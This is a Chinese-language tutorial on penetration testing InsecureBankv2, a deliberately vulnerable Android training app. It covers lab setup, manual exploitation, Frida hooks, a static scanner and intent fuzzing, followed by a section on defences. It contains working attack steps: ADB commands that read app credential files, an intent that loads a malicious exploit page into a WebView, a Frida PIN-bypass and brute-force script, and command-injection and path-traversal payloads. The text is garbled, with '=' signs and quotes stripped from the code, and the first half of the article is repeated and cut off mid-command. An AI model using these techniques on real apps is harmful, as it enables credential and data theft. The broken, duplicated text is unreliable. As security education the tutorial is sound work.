1. 项目概述为什么选择InsecureBankv2作为你的Android安全“训练场”如果你对移动安全、渗透测试或者Android应用逆向工程感兴趣那么InsecureBankv2这个名字你大概率不会陌生。它不是一个真实的银行应用而是一个由安全专家精心设计的、故意包含大量已知安全漏洞的Android应用。你可以把它理解为一个“漏洞博物馆”或者“安全靶场”。我接触这个项目已经有好几年了从最初的学习者到后来用它来培训新人、验证自己的漏洞利用工具InsecureBankv2始终是我认为最经典、最全面的Android安全入门与进阶的实践平台。市面上很多教程要么过于理论化要么工具链老旧而今天我想分享的是如何围绕InsecureBankv2从零开始构建一套你自己的、可扩展的漏洞利用工具链并深入理解每一次攻击背后的原理。为什么是InsecureBankv2首先它覆盖了OWASP Mobile Top 10中的绝大多数漏洞类型比如不安全的本地数据存储、脆弱的服务器端控制、传输层保护不足、不安全的身份验证、授权缺陷、客户端代码注入、安全配置错误等等。这意味着你只需要一个应用就能实战演练十几种不同的攻击手法。其次它的代码是开源的你可以在Android Studio里直接导入、编译、运行甚至修改它的漏洞代码来加深理解。最后它自带一个简单的后端服务器让你可以完整模拟一个从客户端到服务端的攻击链这对于理解移动安全的整体性至关重要。本指南的目标读者是那些已经了解Android基础开发、对网络安全有基本概念并希望将理论知识转化为实战能力的朋友。无论你是安全研究员、渗透测试工程师还是想提升自己应用安全性的开发者跟随这个指南你不仅能学会如何“黑掉”InsecureBankv2更能掌握构建自动化工具来发现和利用这些漏洞的方法论。我们会从环境搭建开始一步步深入到静态分析、动态调试、漏洞利用脚本编写最终形成一个可以复用的工具集。记住我们的目的不是破坏而是通过理解攻击来更好地进行防御。2. 环境搭建与靶场部署打造你的专属移动安全实验室工欲善其事必先利其器。一个稳定、隔离且工具齐全的测试环境是安全研究的基石。对于Android渗透测试我们通常需要三个核心部分一个用于运行和测试应用的Android环境模拟器或真机一套逆向与分析工具以及靶场应用本身及其后端服务。2.1 测试环境的选择与配置首先是Android运行环境。我强烈推荐使用Android Studio自带的官方模拟器AVD而不是第三方模拟器或初期就使用真机。原因有三一是快照Snapshot功能可以让你在搞崩系统后瞬间恢复极大提升实验效率二是方便进行网络流量拦截和系统文件访问三是可以轻松创建多个不同API级别的设备镜像用于测试兼容性相关的漏洞。在创建AVD时建议选择不带Google Play服务的镜像例如“Android 11.0 x86_64”而不是“Google APIs”版本。这样可以减少不必要的后台干扰也让应用权限管理更清晰。设备型号可以选择Pixel系列分辨率适中。在模拟器的高级设置中记得将“内存”设置为至少2048MB“内部存储”不少于2GB以保证运行流畅。一个关键的技巧是在首次启动并完成初始化设置后立刻创建一个快照命名为“Clean State”。这样每次开始新的测试章节前都可以从这个干净的状态恢复。其次是逆向分析工具链。核心工具包括Android Studio不仅是开发工具其内置的Profiler、Logcat和布局检查器Layout Inspector对于动态分析至关重要。APK反编译套件这里我推荐使用JADX-GUI。它是一个图形化的反编译工具可以将APK文件直接反编译成可读性很高的Java代码比传统的dex2jarjd-gui组合更直观、更强大。对于复杂的混淆代码可以配合Bytecode Viewer或直接使用Apktool进行反汇编得到Smali代码进行更底层的分析。动态调试与注入工具Frida是目前进行运行时Hook和动态分析的行业标准。通过注入JavaScript脚本你可以实时监控、修改应用的内存数据和函数调用。Objection是基于Frida的命令行工具封装了许多常用命令对于快速评估应用安全性非常方便。网络流量分析工具Burp Suite或OWASP ZAP是必备的代理工具用于拦截、查看和修改HTTP/HTTPS流量。配合模拟器或真机的代理设置可以分析应用与服务器的所有通信。2.2 InsecureBankv2靶场的安装与服务器搭建InsecureBankv2的源码通常可以在GitHub上找到。你需要使用Android Studio打开项目直接编译生成APK。这里有一个关键步骤在编译前请检查app/src/main/java/com/android/insecurebankv2/目录下的LoginActivity.java文件。里面有一个变量叫baseURL它定义了应用连接的后端服务器地址。默认可能是http://localhost:8888但在模拟器中localhost指的是模拟器自己而不是你的宿主机。因此你需要将其改为你宿主机的IP地址格式如http://192.168.1.100:8888。请确保端口号一致。接下来是后端服务器。InsecureBankv2的后端是一个用Python写的简单Flask应用。你需要在宿主机上运行它。确保你的电脑安装了Python3和pip然后根据项目Server目录下的requirements.txt文件安装依赖通常是Flask。运行服务器脚本例如python3 run_server.py。运行成功后你可以在浏览器访问http://你的宿主机IP:8888应该能看到一个简单的银行网页界面这证明服务器启动成功。现在将编译好的APK安装到模拟器。你可以直接通过Android Studio运行或者使用ADB命令安装adb install app-debug.apk。安装完成后在模拟器中打开InsecureBankv2应用。首次使用需要注册一个账户注册信息会被发送到我们刚刚搭建的后端服务器。注册成功后用账号密码登录你就正式进入了这个充满“陷阱”的银行应用内部。至此你的移动安全实验室就基本搭建完成了。注意确保你的模拟器网络可以访问到宿主机的IP。在默认的NAT网络模式下模拟器可以通过特殊的IP地址10.0.2.2来访问宿主机。因此上面提到的baseURL也可以设置为http://10.0.2.2:8888这是一个更通用的做法避免了每次更换网络环境都要修改IP的麻烦。3. 核心漏洞类型深度解析与手动利用在构建自动化工具之前我们必须先用手动的方式像一名侦探一样深入理解InsecureBankv2中每一个漏洞的成因、表现和利用方法。这不仅是后续工具化的基础更是培养安全直觉的关键。3.1 不安全的本地数据存储从SharedPreferences到SQLite移动应用经常需要在本地存储数据如用户偏好、会话令牌等。InsecureBankv2在这里埋下了多个陷阱。漏洞点1明文存储的SharedPreferences。登录成功后应用可能会将一些敏感信息如用户名、令牌以明文形式保存在SharedPreferences中。SharedPreferences是Android提供的一种轻量级键值对存储方式。我们可以使用ADB shell来探查。首先找到应用的包名com.android.insecurebankv2然后进入其数据目录adb shell run-as com.android.insecurebankv2 cd /data/data/com.android.insecurebankv2/shared_prefs ls -la cat *.xml如果你看到了包含username、password或token等字段的XML文件且内容是明文那么漏洞就存在。利用方式很简单直接读取这些文件即可获取敏感信息。为什么这是危险的在已Root的设备上任何应用都可能访问这些数据。即使用户设备未Root如果应用设置了android:allowBackup”true”攻击者也可以通过ADB备份功能提取这些数据。漏洞点2不安全的SQLite数据库。应用可能使用SQLite数据库存储交易记录、用户信息等。数据库文件通常位于/data/data/package/databases/目录下。我们可以使用sqlite3命令来查看adb shell run-as com.android.insecurebankv2 cd databases sqlite3 database_name.db .tables SELECT * FROM users; -- 假设有users表如果数据库没有加密且表中含有敏感信息攻击者可以直接读取或修改。更糟糕的是如果数据库文件权限设置不当如全局可读其他应用甚至无需Root也能访问。手动利用心得手动检查时不要只盯着一个地方。结合静态分析用JADX搜索SharedPreferences、SQLiteOpenHelper等关键字和动态检查运行时查看文件变化才能全面发现数据存储漏洞。一个常见的技巧是在应用执行登录、转账等关键操作后立刻去检查相关目录下是否有新文件产生或旧文件被修改。3.2 脆弱的身份验证与会话管理这是Web安全的经典问题在移动端同样普遍。漏洞点1硬编码的凭证。使用JADX反编译APK在全项目代码中搜索password、pin、secret、key等字符串。你可能会在某个工具类或配置类中发现类似private static final String ADMIN_PASS “SuperSecret123!”;的代码。这就是硬编码凭证攻击者一旦反编译应用就能直接获得。漏洞点2不安全的会话令牌处理。登录后服务器会返回一个令牌Token用于后续API请求的身份验证。你需要用Burp Suite拦截登录请求的响应查看返回的JSON或Header中是否包含Token。然后观察这个Token在后续请求如查看余额、转账中是如何被使用的通常放在Authorization头或请求参数中。接下来测试这个Token的强度可预测性退出后重新登录比较新旧Token看是否有规律如递增、时间戳。有效期过长获取Token后等待一段时间如24小时尝试是否还能用其访问敏感接口。缺乏绑定将A用户的Token用在B用户的请求上修改请求中的其他ID参数看服务器是否仅凭Token就授权操作这就是不安全的直接对象引用-IDOR。手动利用演示假设拦截到转账请求为POST /transfer参数为tokenabc123to_userevilamount1000。你可以尝试1. 将amount改为一个负数看是否能给自己“充值”业务逻辑漏洞。2. 将to_user改为另一个用户测试权限隔离。3. 重放这个请求多次测试是否缺少防重放机制。3.3 客户端代码注入WebView与Intent的滥用Android提供了WebView组件来嵌入网页也提供了Intent机制用于组件间通信这两者如果使用不当会成为严重的安全漏洞。漏洞点1WebView的任意JavaScript执行与本地文件读取。在InsecureBankv2中可能存在一个显示“联系客服”或“帮助”页面的Activity里面使用了WebView。用JADX查找WebView和setJavaScriptEnabled(true)。如果发现类似webView.loadUrl(intent.getStringExtra(“url”));的代码即WebView加载的URL来自Intent传入的参数这就是一个**远程代码执行RCE**的漏洞。攻击者可以构造一个Intent让应用加载一个恶意网页该网页通过JavaScript接口如果addJavascriptInterface暴露了敏感类或通过file://协议读取本地敏感文件。手动利用步骤创建一个恶意HTML文件内容包含利用JavaScript读取/data/data/com.android.insecurebankv2/shared_prefs/*.xml的代码。在设备上启动一个HTTP服务器如python3 -m http.server 8080托管这个HTML文件。通过ADB发送一个隐式Intent来触发漏洞adb shell am start -a android.intent.action.VIEW -d “http://10.0.2.2:8080/exploit.html” -n com.android.insecurebankv2/.VulnerableWebViewActivity如果应用没有对Intent的data做严格校验它就会加载我们的恶意页面。漏洞点2暴露的Activity与Intent数据窃取。Android组件Activity、Service、BroadcastReceiver如果被错误地导出android:exported”true”就可能被其他应用调用。InsecureBankv2可能导出了一个用于处理某个功能的Activity。我们可以使用drozer或通过ADB命令扫描adb shell dumpsys package com.android.insecurebankv2 | grep -A 5 -B 5 “exportedtrue”找到导出的Activity后我们可以向其发送Intent。如果这个Activity在启动时会显示来自Intent Extra的数据如一条包含敏感信息的消息而我们又可以控制这个Intent那么就可能造成信息泄露。更进一步如果这个Activity在完成时将结果通过Intent返回给调用者而我们能拦截或伪造这个返回的Intent就可能进行钓鱼或数据篡改。4. 构建自动化漏洞利用工具链手动测试虽然深刻但效率低下且容易遗漏。作为一名安全研究员或渗透测试工程师我们需要将重复性的检测工作自动化。下面我将介绍如何针对上述漏洞类型构建几个核心的自动化利用工具。4.1 静态分析扫描器自动挖掘“硬伤”我们可以编写一个Python脚本利用apktool和grep或更强大的radare2、androguard库来自动化静态分析流程。工具设计思路解包APK使用apktool d target.apk -o output_dir命令将目标APK解包。扫描清单文件解析AndroidManifest.xml找出所有exported”true”且没有足够权限保护的组件。特别关注那些使用了intent-filter的Activity它们可能通过隐式Intent被触发。扫描源代码Smali/Java硬编码密钥使用正则表达式匹配常见的密钥模式如[A-Za-z0-9/]{30,}?Base64编码的密钥或[0-9a-f]{32,}MD5、SHA等哈希也可能是密钥。不安全的API调用搜索SharedPreferences的MODE_WORLD_READABLE/MODE_WORLD_WRITEABLE这些常量在高版本已废弃但可能遗留、WebView.setJavaScriptEnabled(true)、addJavascriptInterface、loadUrl从Intent获取参数等。SQLite数据库搜索execSQL、rawQuery检查其参数是否由用户输入拼接而成可能存在SQL注入。生成报告将发现的问题按风险等级高危、中危、低危分类并指出对应的文件位置和代码行号在Smali文件中。简易脚本示例框架import os import subprocess import xml.etree.ElementTree as ET import re def static_analyze(apk_path): # 1. 使用apktool解包 output_dir “./decompiled_apk” subprocess.run([“apktool”, “d”, apk_path, “-o”, output_dir], checkTrue) # 2. 分析AndroidManifest.xml manifest_path os.path.join(output_dir, “AndroidManifest.xml”) tree ET.parse(manifest_path) root tree.getroot() # ... 解析组件和权限 ... # 3. 递归扫描smali文件 findings [] for root_dir, dirs, files in os.walk(os.path.join(output_dir, “smali”)): for file in files: if file.endswith(“.smali”): filepath os.path.join(root_dir, file) with open(filepath, ‘r’, encoding‘utf-8’, errors‘ignore’) as f: content f.read() # 搜索硬编码密码模式 if re.search(r‘const-string.*[“\’]password[“\’].*[“\’][^“\’]{6,}[“\’]’, content, re.IGNORECASE): findings.append((“HIGH”, “Hardcoded Password”, filepath)) # 搜索MODE_WORLD_READABLE if “MODE_WORLD_READABLE” in content or “0x0001” in content: # 0x0001是MODE_WORLD_READABLE的值 findings.append((“HIGH”, “World-Readable SharedPreferences”, filepath)) # ... 更多规则 ... # 4. 输出报告 for severity, issue, location in findings: print(f“[{severity}] {issue} - {location}”) if __name__ “__main__”: static_analyze(“insecurebankv2.apk”)4.2 动态Hook与行为监控工具使用Frida脚本化静态分析找不到运行时才加载的密钥、无法跟踪复杂的逻辑流。这时就需要Frida出场。我们可以编写一系列Frida JavaScript脚本在应用运行时进行Hook。针对InsecureBankv2的实用Frida脚本示例监控所有SharedPreferences的读写Java.perform(function() { var SharedPreferencesImpl Java.use(“android.app.SharedPreferencesImpl”); var EditorImpl Java.use(“android.app.SharedPreferencesImpl$EditorImpl”); SharedPreferencesImpl.getString.implementation function(key, defValue) { var result this.getString(key, defValue); console.log(“[SharedPreferences READ] Key: “ key “ - Value: “ result); return result; }; EditorImpl.putString.implementation function(key, value) { console.log(“[SharedPreferences WRITE] Key: “ key “ - Value: “ value); return this.putString(key, value); }; });这个脚本能让你看到应用在何时读取或写入了什么数据到SharedPreferences对于追踪会话令牌的存储位置非常有效。Hook网络请求库以OkHttp3为例Java.perform(function() { var OkHttpClient Java.use(“okhttp3.OkHttpClient”); var RealCall Java.use(“okhttp3.RealCall”); RealCall.execute.implementation function() { var response this.execute(); var request response.request(); console.log(“[HTTP Request] “ request.method() “ “ request.url()); console.log(“[Headers] “ request.headers().toString()); var body request.body(); if (body ! null) { // 注意读取请求体可能需要处理buffer这里是一个简化示例 console.log(“[Request Body] (Potential)”); } console.log(“[Response Code] “ response.code()); console.log(“[Response Body] “ response.body().string()); // 注意response.body().string()只能调用一次实际脚本需克隆response return response; }; });这个脚本可以拦截通过OkHttp发起的网络请求和响应即使应用使用了证书绑定SSL Pinning我们也可以先用Frida绕过再使用此脚本监控。爆破PIN码如果存在 假设登录时需要输入一个4位数字PIN码我们可以Hook PIN码验证函数并尝试暴力破解。Java.perform(function() { var LoginClass Java.use(“com.android.insecurebankv2.LoginActivity”); var targetMethod LoginClass.verifyPin; // 假设的验证方法 targetMethod.implementation function(pin) { console.log(“[PIN Verification Called] Input PIN: “ pin); // 记录或尝试绕过 // 我们可以在这里直接返回true来绕过验证 // return true; // 或者我们尝试调用原函数并记录结果 var result this.verifyPin(pin); console.log(“Result: “ result); return result; }; // 自动爆破逻辑需在外部循环中调用 // send({“action”: “try_pin”, “pin”: “1234”}); });配合Python的Frida控制脚本我们可以从0000到9999遍历所有PIN码观察何时验证通过。工具化整合将常用的Frida脚本封装成一个命令行工具通过参数指定目标应用包名和要执行的脚本功能如–monitor-sp、–hook-http、–brute-pin可以极大提升动态测试效率。4.3 意图Intent模糊测试与组件攻击框架针对不安全的组件导出和Intent处理我们可以构建一个自动化的模糊测试框架。框架设计组件枚举使用aapt或androguard解析APK列出所有导出的Activity、Service、BroadcastReceiver。Intent构造器针对每个组件根据其intent-filter中声明的action、category、datamimeType, scheme, host, port, path等来构造合法的Intent。Payload生成向这些Intent的Extra中注入各种测试Payload数据泄露注入file:///data/data/com.android.insecurebankv2/shared_prefs/prefs.xml作为数据URI观察组件是否会加载并显示文件内容。路径遍历如果组件涉及文件操作注入../../../etc/hosts等路径。序列化对象尝试注入恶意的Parcelable或Serializable对象如果组件接收这类Extra测试反序列化漏洞。命令注入如果Extra数据最终被传递给Runtime.exec()或类似函数注入;id等命令分隔符。发送与监控通过ADB shell的am命令发送构造好的Intent同时使用logcat监控应用的崩溃、错误日志以及我们Hook脚本的输出以判断攻击是否成功。报告生成记录哪个组件、哪种Payload导致了异常行为如崩溃、数据泄露、敏感日志输出。这个框架的核心在于自动化地探索应用的所有对外接口并施加恶意输入。你可以使用Python的subprocess模块来调用ADB命令结合re模块解析logcat输出。对于复杂的Intent结构可能需要使用android.content.Intent的Java类通过Frida在设备内存中直接构建并发送这比拼接ADB命令字符串更灵活可靠。5. 渗透测试实战演练从信息收集到漏洞利用现在让我们将前面学到的知识和工具串联起来模拟一次对InsecureBankv2的完整渗透测试。这个过程遵循着经典的信息收集、威胁建模、漏洞分析、渗透利用、报告编写的流程。5.1 信息收集与侦察首先我们需要尽可能多地收集应用的信息。基础信息使用aapt dump badging target.apk获取包名、版本号、权限列表、主Activity等信息。组件分析运行我们的静态分析扫描器识别所有导出的组件。重点关注那些没有设置permission属性的导出组件。网络接口分析使用Burp Suite作为代理遍历应用的所有功能登录、注册、查看余额、转账、查看历史记录、修改资料、客服反馈等。记录下所有的API端点URL、请求方法GET/POST、参数、以及身份验证方式。绘制出应用的功能拓扑图和数据流图。文件系统侦察在应用运行期间使用ADB shell和run-as命令仔细查看应用私有目录下的所有文件。注意文件的修改时间在关键操作如登录前后对比文件变化。5.2 漏洞关联分析与攻击链构造收集到信息后开始寻找关联点构造攻击链。场景A从信息泄露到账户接管。静态扫描发现一个导出的ViewStatementActivity它接受一个accountNo参数来显示对账单。动态测试发现登录后的主界面MainActivity在显示欢迎信息时通过一个不安全的Intent将用户名传递给了ViewStatementActivity。我们使用Frida Hook住MainActivity中启动ViewStatementActivity的代码发现它传递的Intent Extra中包含当前登录用户的账号。我们编写一个简单的攻击应用或者直接使用ADB构造一个Intent启动ViewStatementActivity但将accountNo参数修改为其他用户的账号。如果成功看到其他用户的账单就构成了一个**不安全的直接对象引用IDOR**漏洞导致横向越权。场景B结合静态与动态分析的RCE。静态扫描发现HelpActivity中的WebView开启了JavaScript并且加载的URL来自Intent的url参数。动态分析Frida监控发现应用内部有一个“反馈”功能会将用户输入的内容包含一个URL通过Intent传递给HelpActivity进行预览。但是这个“反馈”功能对URL做了简单过滤不允许javascript:和file:协议。我们尝试使用data:协议或利用URL解析差异进行绕过。例如构造URL为data:text/html,scriptalert(document.domain)/script。如果成功执行JavaScript则证明存在客户端代码注入。进一步我们可以尝试通过JavaScript接口如果存在或利用file://协议结合路径遍历如果过滤不严来读取本地文件最终可能实现远程代码执行。5.3 利用工具进行自动化验证与利用在手动验证漏洞可行后使用我们构建的工具进行自动化利用。对于IDOR漏洞我们可以修改动态Hook脚本在监测到启动ViewStatementActivity时自动替换accountNo为指定的目标账号并截图或保存返回的数据实现自动化信息窃取。对于WebView RCE漏洞我们可以编写一个Frida脚本在HelpActivity创建时自动通过反射修改其WebView将要加载的URL指向我们控制的恶意服务器实现“一键”攻击。对于不安全的广播接收器我们可以编写一个Python脚本循环发送包含不同Action和Data的广播Intent并监控logcat和应用行为实现广播接收器的模糊测试。一个关键的实操心得自动化工具在验证已知漏洞模式时非常高效但它不能完全替代手动测试的创造性和深度。最好的工作流是先用自动化工具进行广覆盖的初步扫描发现“低垂的果实”然后对发现的高危点进行深入的手动分析和利用链构造。最后将成功的手动利用过程再反哺到自动化工具中增强其检测能力。6. 防御视角与安全开发建议通过攻击InsecureBankv2我们深刻理解了漏洞是如何产生的。现在让我们切换到防御者视角看看如何避免在自己的应用中引入类似问题。6.1 针对已发现漏洞的修复方案修复不安全的本地存储敏感信息绝不明文存储对于密码、令牌、PIN码等应使用Android Keystore System生成密钥然后加密存储。对于其他敏感数据至少使用AES等强加密算法加密密钥也不可硬编码。正确使用SharedPreferences使用MODE_PRIVATE。避免使用MODE_WORLD_READABLE/WRITEABLE它们已在API 17后废弃。数据库加密使用SQLCipher等库对SQLite数据库进行全库加密。设置文件权限检查应用创建的所有文件确保其权限为私有-rw-rw----。加固身份验证与会话管理清除硬编码凭证所有密钥、密码必须从代码中移除改为从安全的配置服务器动态获取或由运维人员在构建时注入。使用安全的令牌会话令牌应足够长、随机并绑定设备指纹、IP需谨慎影响用户体验等信息。服务端必须严格校验令牌的有效期和归属。实施权限检查任何涉及用户数据的操作服务端必须在执行前验证当前令牌是否有权操作目标数据即服务端必须做权限校验不能依赖客户端传递的参数。安全地使用WebView和Intent最小化JavaScript权限除非绝对必要否则不要启用JavaScript。如果必须启用严格审查通过addJavascriptInterface暴露给JavaScript的Java对象确保其不包含敏感方法。校验WebView加载的URL禁止加载file://协议和content://协议除非完全可控。对来自外部的URL进行严格的白名单校验。谨慎导出组件默认将组件的android:exported属性设置为false。仅当组件确实需要被其他应用调用时才导出并为其配置自定义权限permission并进行运行时校验。净化Intent输入对所有通过Intent传递进来的数据Extra、Data、Action等进行严格的类型、范围和合法性校验。6.2 将安全测试融入开发流程安全不是最后一步的测试而应贯穿整个软件开发生命周期SDLC。开发阶段为团队提供安全编码规范使用SonarQube、FindSecBugs等静态代码分析SAST工具集成到CI/CD流水线中在代码提交时自动扫描。测试阶段除了功能测试必须包含安全测试。使用像OWASP ZAP、MobSFMobile Security Framework这样的动态应用安全测试DAST工具进行自动化漏洞扫描。定期进行手动渗透测试特别是业务逻辑漏洞自动化工具很难发现。部署与运维阶段对应用进行加固如代码混淆ProGuard/R8、反调试检测、证书绑定等。使用运行时应用自保护RASP技术来监控和阻止运行时的攻击行为。构建像InsecureBankv2这样的“漏洞靶场”并为其开发渗透工具是一个“以攻促防”的绝佳学习路径。它强迫你从攻击者的角度思考从而更能理解防御措施的重要性。当你下次编写一个需要存储用户数据的Android应用时你会本能地问自己“这些数据如果被恶意应用读取了会怎样”“这个Intent的参数用户可控吗”。这种安全意识才是安全工程师最宝贵的财富。
1. 项目概述为什么选择InsecureBankv2作为你的Android安全“训练场”如果你对移动安全、渗透测试或者Android应用逆向工程感兴趣那么InsecureBankv2这个名字你大概率不会陌生。它不是一个真实的银行应用而是一个由安全专家精心设计的、故意包含大量已知安全漏洞的Android应用。你可以把它理解为一个“漏洞博物馆”或者“安全靶场”。我接触这个项目已经有好几年了从最初的学习者到后来用它来培训新人、验证自己的漏洞利用工具InsecureBankv2始终是我认为最经典、最全面的Android安全入门与进阶的实践平台。市面上很多教程要么过于理论化要么工具链老旧而今天我想分享的是如何围绕InsecureBankv2从零开始构建一套你自己的、可扩展的漏洞利用工具链并深入理解每一次攻击背后的原理。为什么是InsecureBankv2首先它覆盖了OWASP Mobile Top 10中的绝大多数漏洞类型比如不安全的本地数据存储、脆弱的服务器端控制、传输层保护不足、不安全的身份验证、授权缺陷、客户端代码注入、安全配置错误等等。这意味着你只需要一个应用就能实战演练十几种不同的攻击手法。其次它的代码是开源的你可以在Android Studio里直接导入、编译、运行甚至修改它的漏洞代码来加深理解。最后它自带一个简单的后端服务器让你可以完整模拟一个从客户端到服务端的攻击链这对于理解移动安全的整体性至关重要。本指南的目标读者是那些已经了解Android基础开发、对网络安全有基本概念并希望将理论知识转化为实战能力的朋友。无论你是安全研究员、渗透测试工程师还是想提升自己应用安全性的开发者跟随这个指南你不仅能学会如何“黑掉”InsecureBankv2更能掌握构建自动化工具来发现和利用这些漏洞的方法论。我们会从环境搭建开始一步步深入到静态分析、动态调试、漏洞利用脚本编写最终形成一个可以复用的工具集。记住我们的目的不是破坏而是通过理解攻击来更好地进行防御。2. 环境搭建与靶场部署打造你的专属移动安全实验室工欲善其事必先利其器。一个稳定、隔离且工具齐全的测试环境是安全研究的基石。对于Android渗透测试我们通常需要三个核心部分一个用于运行和测试应用的Android环境模拟器或真机一套逆向与分析工具以及靶场应用本身及其后端服务。2.1 测试环境的选择与配置首先是Android运行环境。我强烈推荐使用Android Studio自带的官方模拟器AVD而不是第三方模拟器或初期就使用真机。原因有三一是快照Snapshot功能可以让你在搞崩系统后瞬间恢复极大提升实验效率二是方便进行网络流量拦截和系统文件访问三是可以轻松创建多个不同API级别的设备镜像用于测试兼容性相关的漏洞。在创建AVD时建议选择不带Google Play服务的镜像例如“Android 11.0 x86_64”而不是“Google APIs”版本。这样可以减少不必要的后台干扰也让应用权限管理更清晰。设备型号可以选择Pixel系列分辨率适中。在模拟器的高级设置中记得将“内存”设置为至少2048MB“内部存储”不少于2GB以保证运行流畅。一个关键的技巧是在首次启动并完成初始化设置后立刻创建一个快照命名为“Clean State”。这样每次开始新的测试章节前都可以从这个干净的状态恢复。其次是逆向分析工具链。核心工具包括Android Studio不仅是开发工具其内置的Profiler、Logcat和布局检查器Layout Inspector对于动态分析至关重要。APK反编译套件这里我推荐使用JADX-GUI。它是一个图形化的反编译工具可以将APK文件直接反编译成可读性很高的Java代码比传统的dex2jarjd-gui组合更直观、更强大。对于复杂的混淆代码可以配合Bytecode Viewer或直接使用Apktool进行反汇编得到Smali代码进行更底层的分析。动态调试与注入工具Frida是目前进行运行时Hook和动态分析的行业标准。通过注入JavaScript脚本你可以实时监控、修改应用的内存数据和函数调用。Objection是基于Frida的命令行工具封装了许多常用命令对于快速评估应用安全性非常方便。网络流量分析工具Burp Suite或OWASP ZAP是必备的代理工具用于拦截、查看和修改HTTP/HTTPS流量。配合模拟器或真机的代理设置可以分析应用与服务器的所有通信。2.2 InsecureBankv2靶场的安装与服务器搭建InsecureBankv2的源码通常可以在GitHub上找到。你需要使用Android Studio打开项目直接编译生成APK。这里有一个关键步骤在编译前请检查app/src/main/java/com/android/insecurebankv2/目录下的LoginActivity.java文件。里面有一个变量叫baseURL它定义了应用连接的后端服务器地址。默认可能是http://localhost:8888但在模拟器中localhost指的是模拟器自己而不是你的宿主机。因此你需要将其改为你宿主机的IP地址格式如http://192.168.1.100:8888。请确保端口号一致。接下来是后端服务器。InsecureBankv2的后端是一个用Python写的简单Flask应用。你需要在宿主机上运行它。确保你的电脑安装了Python3和pip然后根据项目Server目录下的requirements.txt文件安装依赖通常是Flask。运行服务器脚本例如python3 run_server.py。运行成功后你可以在浏览器访问http://你的宿主机IP:8888应该能看到一个简单的银行网页界面这证明服务器启动成功。现在将编译好的APK安装到模拟器。你可以直接通过Android Studio运行或者使用ADB命令安装adb install app-debug.apk。安装完成后在模拟器中打开InsecureBankv2应用。首次使用需要注册一个账户注册信息会被发送到我们刚刚搭建的后端服务器。注册成功后用账号密码登录你就正式进入了这个充满“陷阱”的银行应用内部。至此你的移动安全实验室就基本搭建完成了。注意确保你的模拟器网络可以访问到宿主机的IP。在默认的NAT网络模式下模拟器可以通过特殊的IP地址10.0.2.2来访问宿主机。因此上面提到的baseURL也可以设置为http://10.0.2.2:8888这是一个更通用的做法避免了每次更换网络环境都要修改IP的麻烦。3. 核心漏洞类型深度解析与手动利用在构建自动化工具之前我们必须先用手动的方式像一名侦探一样深入理解InsecureBankv2中每一个漏洞的成因、表现和利用方法。这不仅是后续工具化的基础更是培养安全直觉的关键。3.1 不安全的本地数据存储从SharedPreferences到SQLite移动应用经常需要在本地存储数据如用户偏好、会话令牌等。InsecureBankv2在这里埋下了多个陷阱。漏洞点1明文存储的SharedPreferences。登录成功后应用可能会将一些敏感信息如用户名、令牌以明文形式保存在SharedPreferences中。SharedPreferences是Android提供的一种轻量级键值对存储方式。我们可以使用ADB shell来探查。首先找到应用的包名com.android.insecurebankv2然后进入其数据目录adb shell run-as com.android.insecurebankv2 cd /data/data/com.android.insecurebankv2/shared_prefs ls -la cat *.xml如果你看到了包含username、password或token等字段的XML文件且内容是明文那么漏洞就存在。利用方式很简单直接读取这些文件即可获取敏感信息。为什么这是危险的在已Root的设备上任何应用都可能访问这些数据。即使用户设备未Root如果应用设置了android:allowBackup”true”攻击者也可以通过ADB备份功能提取这些数据。漏洞点2不安全的SQLite数据库。应用可能使用SQLite数据库存储交易记录、用户信息等。数据库文件通常位于/data/data/package/databases/目录下。我们可以使用sqlite3命令来查看adb shell run-as com.android.insecurebankv2 cd databases sqlite3 database_name.db .tables SELECT * FROM users; -- 假设有users表如果数据库没有加密且表中含有敏感信息攻击者可以直接读取或修改。更糟糕的是如果数据库文件权限设置不当如全局可读其他应用甚至无需Root也能访问。手动利用心得手动检查时不要只盯着一个地方。结合静态分析用JADX搜索SharedPreferences、SQLiteOpenHelper等关键字和动态检查运行时查看文件变化才能全面发现数据存储漏洞。一个常见的技巧是在应用执行登录、转账等关键操作后立刻去检查相关目录下是否有新文件产生或旧文件被修改。3.2 脆弱的身份验证与会话管理这是Web安全的经典问题在移动端同样普遍。漏洞点1硬编码的凭证。使用JADX反编译APK在全项目代码中搜索password、pin、secret、key等字符串。你可能会在某个工具类或配置类中发现类似private static final String ADMIN_PASS “SuperSecret123!”;的代码。这就是硬编码凭证攻击者一旦反编译应用就能直接获得。漏洞点2不安全的会话令牌处理。登录后服务器会返回一个令牌Token用于后续API请求的身份验证。你需要用Burp Suite拦截登录请求的响应查看返回的JSON或Header中是否包含Token。然后观察这个Token在后续请求如查看余额、转账中是如何被使用的通常放在Authorization头或请求参数中。接下来测试这个Token的强度可预测性退出后重新登录比较新旧Token看是否有规律如递增、时间戳。有效期过长获取Token后等待一段时间如24小时尝试是否还能用其访问敏感接口。缺乏绑定将A用户的Token用在B用户的请求上修改请求中的其他ID参数看服务器是否仅凭Token就授权操作这就是不安全的直接对象引用-IDOR。手动利用演示假设拦截到转账请求为POST /transfer参数为tokenabc123to_userevilamount1000。你可以尝试1. 将amount改为一个负数看是否能给自己“充值”业务逻辑漏洞。2. 将to_user改为另一个用户测试权限隔离。3. 重放这个请求多次测试是否缺少防重放机制。3.3 客户端代码注入WebView与Intent的滥用Android提供了WebView组件来嵌入网页也提供了Intent机制用于组件间通信这两者如果使用不当会成为严重的安全漏洞。漏洞点1WebView的任意JavaScript执行与本地文件读取。在InsecureBankv2中可能存在一个显示“联系客服”或“帮助”页面的Activity里面使用了WebView。用JADX查找WebView和setJavaScriptEnabled(true)。如果发现类似webView.loadUrl(intent.getStringExtra(“url”));的代码即WebView加载的URL来自Intent传入的参数这就是一个**远程代码执行RCE**的漏洞。攻击者可以构造一个Intent让应用加载一个恶意网页该网页通过JavaScript接口如果addJavascriptInterface暴露了敏感类或通过file://协议读取本地敏感文件。手动利用步骤创建一个恶意HTML文件内容包含利用JavaScript读取/data/data/com.android.insecurebankv2/shared_prefs/*.xml的代码。在设备上启动一个HTTP服务器如python3 -m http.server 8080托管这个HTML文件。通过ADB发送一个隐式Intent来触发漏洞adb shell am start -a android.intent.action.VIEW -d “http://10.0.2.2:8080/exploit.html” -n com.android.insecurebankv2/.VulnerableWebViewActivity如果应用没有对Intent的data做严格校验它就会加载我们的恶意页面。漏洞点2暴露的Activity与Intent数据窃取。Android组件Activity、Service、BroadcastReceiver如果被错误地导出android:exported”true”就可能被其他应用调用。InsecureBankv2可能导出了一个用于处理某个功能的Activity。我们可以使用drozer或通过ADB命令扫描adb shell dumpsys package com.android.insecurebankv2 | grep -A 5 -B 